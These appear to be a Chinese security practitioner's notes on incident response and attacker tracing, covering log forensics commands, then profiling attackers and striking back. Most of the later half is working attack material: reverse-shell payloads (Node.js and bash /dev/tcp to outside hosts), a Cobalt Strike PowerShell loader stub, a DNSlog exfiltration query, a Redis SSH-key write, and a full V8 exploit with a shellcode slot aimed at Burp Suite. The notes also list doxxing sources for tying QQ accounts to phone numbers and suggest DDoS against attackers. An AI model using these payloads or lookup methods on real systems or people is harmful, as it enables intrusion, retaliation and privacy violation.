姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明:
人物照片:
跳板机(可选):
关联攻击事件:
域名信息
信息溯源 —>
联系人
邮箱----> 反查
客服
忘记
被劫持
自身原因 找回
邀请码
商户QQ信息
搜索引擎 关键词 历史遗留
照片 图片 属性-----> 隐私泄露
设备 经纬度GPS
百度地图API
位置查询
社会共程序+心理学+语言周转
获取信任
加聊天方式 —> 支付
朋友圈
社区 朋友圈
关注
支付宝
搜索邮箱---->qq号
真实姓名
改号软件
归属地 改变
https://mp.weixin.qq.com/s/HRgmEUppDzOrfUUSqq35HQ
D盾、木马文件、访问日志、防火墙日志、态势感知日志
命令执行历史与其他相关日志文件。
https://mp.weixin.qq.com/s/KdQOWGzZ60BI2nypWFCoGQ
https://mp.weixin.qq.com/s/YQeAk18ZLFj-CemRAiixTg
可执行文件内存取证溯源工具
https://zhuanlan.zhihu.com/p/625481043?utm_id=0
日志默认存放位置:/var/log/
more /etc/rsyslog.conf
命令是在 Linux 系统下查看 rsyslog 配置文件的命令。
rsyslog 是一个高性能的系统日志服务,该服务可以收集、处理和转发系统日志消息。
/etc/rsyslog.conf
是 rsyslog 的主配置文件,它包含了 rsyslog 的设置和规则。
在通过 more /etc/rsyslog.conf
查看该文件时,可以查看并编辑 rsyslog 的配置选项,
例如设置日志要写入哪个目录、定义日志的格式等。
同时,也可以查看 rsyslog 的规则,根据这些规则定义不同的日志传输和存储方式,
比如将指定的日志消息发送到远程服务器、将日志写入数据库等。
/var/log/cron
记录了系统定时任务相关的日志
/var/log/cups
记录打印信息的日志
/var/log/dmesg
记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog
记录邮件信息
/var/log/message
记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp
记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog
记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp
记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure
记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
#集诊断、调试、统计一体的工具。`strace -f -p pid` 查看进行的行为
Strace
#Linux工具,如果系统命令被替换了可以使用此命令来查看系统相关信息。
busybox
快速找到 Apache 的位置,可以使用以下命令:
which apache2
在系统 PATH 变量指定的路径中查找 “apache2”/ “httpd” 可执行文件,并返回找到的路径。
find / -name "apache2"
该命令会在根目录下搜索名为 “apache2” 的文件或目录,并返回所有找到的路径。这条命令会搜索整个文件系统,时间可能会比较长,但能够确保找到 Apache 的位置。
apache access.log、error.log
xx.xx.xx.xx - - [14/Dec/2020:14:26:37 +0800] "POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1" 200 28
xx.xx.xx.xx - - [14/Dec/2020:14:26:46 +0800] "POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1" 302 8637
xx.xx.xx.xx - - [14/Dec/2020:14:26:51 +0800] "GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1" 200 3497
https://mp.weixin.qq.com/s/01aNmBVmMpRRmPOgkUIBKg
查询su切换用户记录
#sudo -l
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user tes
#查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
root
#查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
root:$1$VJkWOIro$gRi9wy.FrsUE/W5oc3vVS.:18644:0:99999:7:::
xxxxx:$1$VJkWOIro$gRi9wy.FrsUE/W5oc3vVS.:18644:0:99999:7:::
#查看当前登录用户及其登陆方式(tty 本地登录或 pts 远程登录) /var/log/utmp
w/
who
该命令会显示当前活动用户的用户名、终端和登录时间等信息。
在终端一栏中,如果是以 tty 的形式显示,则表示本地登录
如果是以 pts/X 的形式显示,则表示远程登录。
#成功登录和注销 关机、重启等的信息,可以使用以下命令查看:
last
/var/log/utmp 文件存储
该命令会显示最近登录用户的用户名、登录时间、终端和登录方式等信息。
在终端一栏中,如果是以 ttyX 的形式显示,则表示本地登录;
如果是以 :X 或 :X.Y 的形式显示,则表示远程登录。
需要注意的是,/var/log/utmp 文件只记录已经注销的用户信息,显示的结果可能不是实时的。
#查看登陆失败的用户日志 /var/log/btmp
lastb
#查看所有用户登陆日志 /var/log/lastlog
lastlog
检查在 /var/log/secure
文件中记录的 SSH 登录日志
定位攻击者的 IP 地址和尝试登录的用户名。
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
查找所有尝试使用 root 用户名登录但登录失败的 IP 地址,
按照每个 IP 地址的出现次数进行排序,
并使用 more 命令以分页方式显示结果。
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
#检查登录失败的 IP 地址,并使用 uniq 命令计算每个 IP 地址的出现次数进行排序。
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
#检查登录失败的用户名并计算出现次数,其中使用了正则表达式从日志消息中提取尝试登录的用户名。
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#查询登录成功的IP
#登录成功的日期、用户名、IP:
#grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
#grep "useradd" /var/log/secure
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#查询增加用户日志
# grep "userdel" /var/log/secure
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
#查询删除用户日志
last
/var/log/wtmp
wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ??
wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:56 ? still logged in ??
wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:32 - 10:44 ?(01:12) ? ?
root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ? ?
root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ?
https://mp.weixin.qq.com/s/Pg5FBm0xf3LqiAUegmW1GQ
Windows 2003上面是很难发现和清除,在Windows 2008以上的影子账户只能在注册表中看到
net user ss$ 123.com /add
使用net user ss$ /del命令删除ss$用户
regedit打开注册表
若打不开则需要设置权限,默认情况下SAM文件夹只有SYSTEM具有完全控制权限
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
https://mp.weixin.qq.com/s/TgDvzIGVO8iETtth7D4g0A
服务、 注册表等本地排查
很快能锁定 外连 ip
windows
netstat -n | findstr ESTABLISHED | findstr : 端口号
netstat -nab
linux
#查看谁在使用某个端口
lsof -i :5001
#查看内部对外的网络连接
lsof -nPi
#查看当前系统上运行的所有进程
ps -ef
#查看进程
ps aux | grep pid
netstat -nputa | grep ESTABLISHED
#可以直接看到进程实时情况
top
#查看cpu占用率前十的进程,互补top
ps aux --sort=pcpu | head -10
只想查看外部计算机与本地计算机之间的连接,可以使用以下命令:
netstat -nputa | grep ESTABLISHED | grep -v 127.0.0.1
只想查看 TCP 连接,可以在命令末尾添加 `-t` 参数:
netstat -nputa | grep ESTABLISHED | grep -v 127.0.0.1 -t
只想查看 UDP 连接,可以在命令末尾添加 `-u`
sudo lsof -p [pid] | grep IPv4
https://mp.weixin.qq.com/s/xW2u4s8xCTnLCkpDoK5Yzw
WMIC查看进程执行时的命令行参数
wmic process where name=“powershell.exe” get caption,commandline,processid,parentprocessid /value
history
获取正在运行的进程的相关信息
process: 表示要查询的进程。
where: 用于过滤符合特定条件的进程,这里的条件是进程名为 "powershell.exe"。
name: 表示查询进程的名称。 / processid: 也可以用进程id查询关联关系 eg:parentprocesid
get: 用于获取指定列出现的信息,可同时获取多个列,这里要获取的信息包括进程名称、命令行、进程 ID 和父进程 ID。
caption: 表示返回进程的名称。
commandline: 表示返回进程的命令行。
processid: 表示返回进程的进程 ID。
parentprocessid: 表示返回进程的父进程 ID。
这条命令的作用是输出正在运行的进程名称、进程ID、父进程ID等信息,并以键值对的形式输出,方便管理员或用户查看和管理正在运行的进程。
火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的
存在守护进程/子进程,需要结束进程树才能彻底根除
挖矿程序
name: 表示查询进程的名称。 / processid: 也可以用进程id查询关联关系 eg:parentprocesid
火绒剑查看进程,最下面PowerShell进程是PID为3652的PowerShell的子进程
PID为1972的scvhost.exe是所有挖矿程序的父进程
查询ID == 4625审核失败的日志
时间的排查、源IP、类型与请求的频率进行分析来判断是否是来源于内网的暴力破解,
通过对logontype的数值确认就可以确认到底是通过什么协议进行暴力破解成功的。相对的数值关系:
local WINDOWS_RDP_INTERACTIVE = “2”
local WINDOWS_RDP_UNLOCK = “7”
local WINDOWS_RDP_REMOTEINTERACTIVE = “10”
local WINDOWS_SMB_NETWORK = “3”
wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='10']]"
这个命令将查询安全事件日志,过滤出所有 Event ID 为 4624(登录成功)且 Logon Type 为 10(远程交互登录)的事件,并以文本格式显示它们。这些事件就是 RDP 登录事件。
如果要将结果输出到文件,可以将命令重定向到文件中,例如:
wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='10']]" >C:\Users\amingMM\Desktop\rdp_logins.txt
Logon Type 为 7(本地登录)或 10(远程交互登录)的事件
wevtutil qe Security /f:text /q:"*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType'] and (Data=10 or Data=7)]]" > C:\Users\amingMM\Desktop\rdp_logins.txt
这样,查询结果就将保存到名为 rdp_logins.txt
的文件中。
Get-WinEvent -FilterHashtable @{Logname='System'; ID='1074'} | Select-Object -Property TimeCreated,Message
0
关机
1
单用户模式,主要用于系统修复
2
不完全的命令行模式,不含NFS服务
3
完全的命令行模式,标准字符界面
4
系统保留
5
图形模式
6
重启动
#开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d
只要将脚本放到/etc/rc.d目录下,再创建软连接ls -s /etc/rc.d/rc*.d就可以完成自启动项设置
#检查启动项文件脚本
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
查看 Windows 系统中的所有计划任务:
schtasks /query /FO LIST /v
schtasks
命令行工具,该工具可用于管理计划任务。
/query
参数用于查询计划任务,
/FO LIST
参数用于以列表形式显示查询结果,
/v
参数用于显示详细信息,
包括每个计划任务的名称、路径、描述、状态、最后一次运行时间、下一次运行时间等等。
该命令执行后将在命令行终端中输出所有计划任务的详细信息。如果您希望将结果导出到文本文件中,可以使用以下命令:
schtasks /query /FO LIST /v > tasks.txt
该命令将将查询结果保存到名为 tasks.txt
的文本文件中
#排查以下文件
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
#查看目录下所有文件
more /etc/cron.daily/*
中间件的日志
防火墙或态势感知、防火墙中攻击行为 IP 地址
https://mp.weixin.qq.com/s/68IRzEl66XRLhD7-0gVCPA
如果被标记为住宅用户或家庭宽带,代表攻击者连着家用宽带网络攻击。这两种情况都没有溯源下去的必要 。
如果IP被标记为IDC服务器、企业出口、企业专线,此时便可对其展开下一步溯源。
https://www.opengps.cn/Data/IP/ipplus.aspx
https://chaipip.com/
https://www.ipplus360.com/
微步 傀儡机 标记
IP为企业专线、但IP又无绑定过域名。
此时可以在CNNIC查询该IP有过备案,再加上地理位置溯源就能为你提供进一步的证据支撑。
CNNIC网址:
https://ipwhois.cnnic.cn
查询到运营商划分给目标单位的网段、目标单位的中文拼音缩写等信息。
微步威胁情报库 IP标签,
云服务器,大概率备案域名
博客地址
备案公司 姓名 获取手机号 、备案查询、天眼查、fofa 查询
攻击者基本上都是使用免实名制的域名
网站 微信号、QQ
QQ 号社*库中反查 手机号
eg:
https://zy.xywlapi.cc/
支付宝、微信、微博等等,通过这些方式,获取个人照
https://www.reg007.com/
你注册过哪些网站
习惯性的各大网站都会使用同一个 ID
拿着 ID 去圈子里面问问
百度搜索、谷歌搜索、src搜索、微博搜索、微信ID搜索、豆瓣、贴吧、知乎等等。
百度搜索
https://tieba.baidu.com/home/main/?un=XXX
百度网盘的添加好友功能,可以反查到百度账号用户名。可以用于验证找回密码功能中得到的带星手机号
微步云沙箱获取到木马的 IP 地址
https://x.threatbook.cn/ 微步在线威胁情报社区
https://ti.qianxin.com/ 奇安信威胁情报中心
https://ti.360.cn/ 360威胁情报中心
https://www.venuseye.com.cn/ VenusEye威胁情报中心
微步在线云沙箱:https://s.threatbook.cn/
腾讯哈勃:https://habo.qq.com/
Virustotal:https://www.virustotal.com/gui/home/upload
火眼:https://fireeye.ijinshan.com
魔盾安全分析:https://www.maldun.com/analysis/
安恒云沙箱
Cmd1.bat 安装Networkss恶意服务,自启动start.cmd脚本,并将nat目录下所有文件权限修改为只读的隐藏系统文件。
start.cmd 启动挖矿主程序,访问矿池地址
svchost.exe 将自定义服务封装为系统服务
Systems.exe 挖矿主程序
certrutil -hashfile 文件路径/名称.exe MD5 算MD5值
攻击者暂未停止对其攻击,还处于攻击的阶段
准确的定位到被攻击的服务器、主机、人
及时的登陆涉事主机上排查,例如依靠态势感知、服务器、蜜罐等设备获取到出现异常的主机 IP。
中间件日志、网络连接、进程、代理日志
受害者 IP、跳板机 IP、木马文件等。
金融实战多重防御
https://mp.weixin.qq.com/s/mQo36_BjyM10ObMfcvpFig
https://mp.weixin.qq.com/s/np7EPo_QVI8G8EbLLP9lHg
邮件沙箱告警
exe提取出线程注入的shellcode为后门文件
对攻击IP展开画像
检测到域名
确认为境外商业窃密攻击者。
附件进行逆向分析 查看源码等方式获取到 IP 地址,对 IP 地址进行渗透攻击
直接对其进行 DDOS 攻击
蜜罐系统捕获
攻击者的网名信息
攻击者的博客地址
创建的一个域名 QQ号
域名反查信息真实姓名
QQ号关联信息查询获取到了其手机号
完整的用户画像
蚁剑 <=2.0.7
AntSword2.7.1 版本上修复
AntSword 连接 WebShell 失败时对 html 代码的解析,导致 xss 漏洞
html 代码不在浏览器解析而是在服务器上解析的话需要用到 nodejs,
AntSword 使用了 nodejs,
利用 xss 漏洞执行并调用 nodejs 的库反弹 shell 拿到权限。
下载地址:
蚁剑:https://github.com/AntSwordProject/antSword/archive/refs/tags/2.0.7.zip
加载器:https://github.com/AntSwordProject/AntSword-Loader/archive/refs/tags/2.0.1.zip
将木马中的内容修改成弹窗木马,
修改后,攻击者再次连接木马后就会出现弹出“250”的窗口。到这里就可以证明是存在 xss 漏洞的。
<?php header("HTTP/1.1 500 ") ?>
蚁剑的 RCE 漏洞反弹 shell 获取攻击者的主机
使用 nc 监听 2200 端口,等待反弹 shell。
修改木马中的代码,修改为反弹 shell 的代码,利用 nodejs 库反弹 shell 的代码(payload):
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(2200, "192.168.10.10", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
通过创建 Socket 来连接 192.168.10.30(被攻击的电脑 ip) 的 2200 端口(Netcat 监听的端口)
将以上代码进行 base64 加密
替换掉我们前边写的 alert(250)代码,最终写到 shell.php 中的代码
<?PHP
header("HTTP/1.1 500 Not \");
?>
扫描结束后,去资产中点击 IP 地址,就会出现弹窗
<?php
header("X-Powered-By: PHP/");
?>
同时在创建一个 1.js 的代码
php代码:
<?php
header("X-Powered-By: PHP/");
?>
js代码:
(function(){
require('child_process').exec('calc.exe');
})();
上线代码(CS 的 powershell):
(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();
无回显
结合 dnslog 的方式,回显带回
ping xx.dnslog.com
load_file(CONCAT('\\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))
没有告警
安全设备的日志dnslog 地址的
中间件日志关键字
PING 服务的网站。
攻击者的 dnslog 平台地址做为 ping 的目标地址,执行 ping 操作。
如果攻击这用的是网络上找到 dnslog 平台,大多情况下 ping 出的地址都是 127.0.0.1,
如果是自己搭建的 dnslog 平台,设置不规范的情况下会显示 vps 的 IP。
cs 3.5
https://forum.butian.net/share/1975
POC
https://github.com/its-arun
使用的类是org.apache.batik.swing.JSVGCanvas这个类,这个类继承Component,并且存在无参构造方法,其URI属性,即setURI是利用点
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.129.1:8081/evil.svg'></param></object>
https://mp.weixin.qq.com/s/_gtWlsY7RDzfPBGIJH2_yw
构造payload方式:
sqlmap -u "http://192.168.43.33/test.html?id=aaa&b=\`ls`\"
https://mp.weixin.qq.com/s/nn92v_5y_D6w0brJ41X4EA
linux下反弹shell语句如下:
bash -c 'exec bash -i &>/dev/tcp/ip/端口 <&1'
所以可以运用到sqlmap中
sqlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`"
危险参数嵌入到post data
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=6379"/>
<!--创建一个按钮,提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
sqlmap -u http://192.168.80.152/sqlmap_honey/ --data="
name=Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=63794"
sqlmap -r这种方式进行post注入会成功吗?
并不行,
当sqlmap -u xxx以这种方式进行测试的时候实际上是在shell中执行bash命令。所以其他方式都不能够进行反制。
https://mp.weixin.qq.com/s/Eh_HFzmPPimC1q_QFFfK2A
解密sqlmap内置的backdoor后门文件
https://mp.weixin.qq.com/s/WhuB1Ja4WfT48JM4TtpeIg
直接利用exp,等待对方扫描自己,即刻上线。
exp下载地址:https://github.com/dzonerzy/acunetix_0day
也可以利用CSRF漏洞去反击。
v=Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
msf中直接有利用脚本,路径为exploit/multi/http/metasploit_static_secret_key_base。
可以在shodan上直接搜索互联网侧的msf:title:“metasploit is initializing”
<script>function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config // media.peerconnection.default_iceservers = // [{"url": "stun:stun.services.mozilla.com"}] var servers = undefined; //add same stun server for chrome if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //construct a new RTCPeerConnection var pc = new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events pc.onicecandidate = function(ice){ //skip non-candidate events if(ice.candidate){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel pc.createDataChannel(""); //create an offer sdp pc.createOffer(function(result){ //trigger the stun server request pc.setLocalDescription(result, function(){}); }, function(){});}//Test: Print the IP addresses into the consolegetIPs(function(ip){console.log(ip);});
1> redis直接写入webshell,但是需要绝对路径,写入权限也要有
2> 写入ssh公钥文件使用私钥登录 ssh服务开启
本地生成公私钥文件
ssh-keygen -t rsa
将密钥上传到目标主机redis
cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit
redis-cli -h xx.xx.xx.xx
config set dir /root/.ssh/
config get dir/
保存为authorized_keys
config set dbfilename "authorized_keys"
save
3> 写入crontab计划任务反弹shell
4> 主从复制rce
appscan 默认使用的32位的chrome内核进行爬虫
https://mp.weixin.qq.com/s/vDLGmdWZANv-43AmisD4Ng
在网站中引用这个文件js,即可 index.html
<script src = "chrome.js"></script>
受多个chrome 1day的影响,burpsuit受影响版本
2021.8.3的版本
Burp Suite的反制原理是利用低版本的chrome浏览器漏洞来触发命令执行
https://mp.weixin.qq.com/s/NplzkP7-AIzn4529p1Oteg
触发条件:
Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞
2: Response -> Render及Repeater -> Render 功能进行渲染的时候会触发
Burp Suite v2.0内置的Chromium版本为64.0.3282.24,
该版本的Chromium存在多个Nday漏洞的影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。
使之利用成功
JavaScript动态分析功能会调用chromium浏览器对页面进行XSS扫描,从而触发页面中的HTML渲染、JavaScript执行,
触发v8漏洞执行shellcode。进程分析得知burpsuit进行渲染时调用chromium浏览器,
Chromium附带 --no-sandbox参数,该参数关闭了沙盒
如果要在之后的burpsuit版本中RCE首先需要做的就是沙盒逃逸,CVE-2021-30633就可以做到。
这个漏洞没有公开的CVE ID,但是在这里可以找到
https://bugs.chromium.org/p/chromium/issues/detail?id=880207
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") +
" place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + "
place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[这里填你的shellcode]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>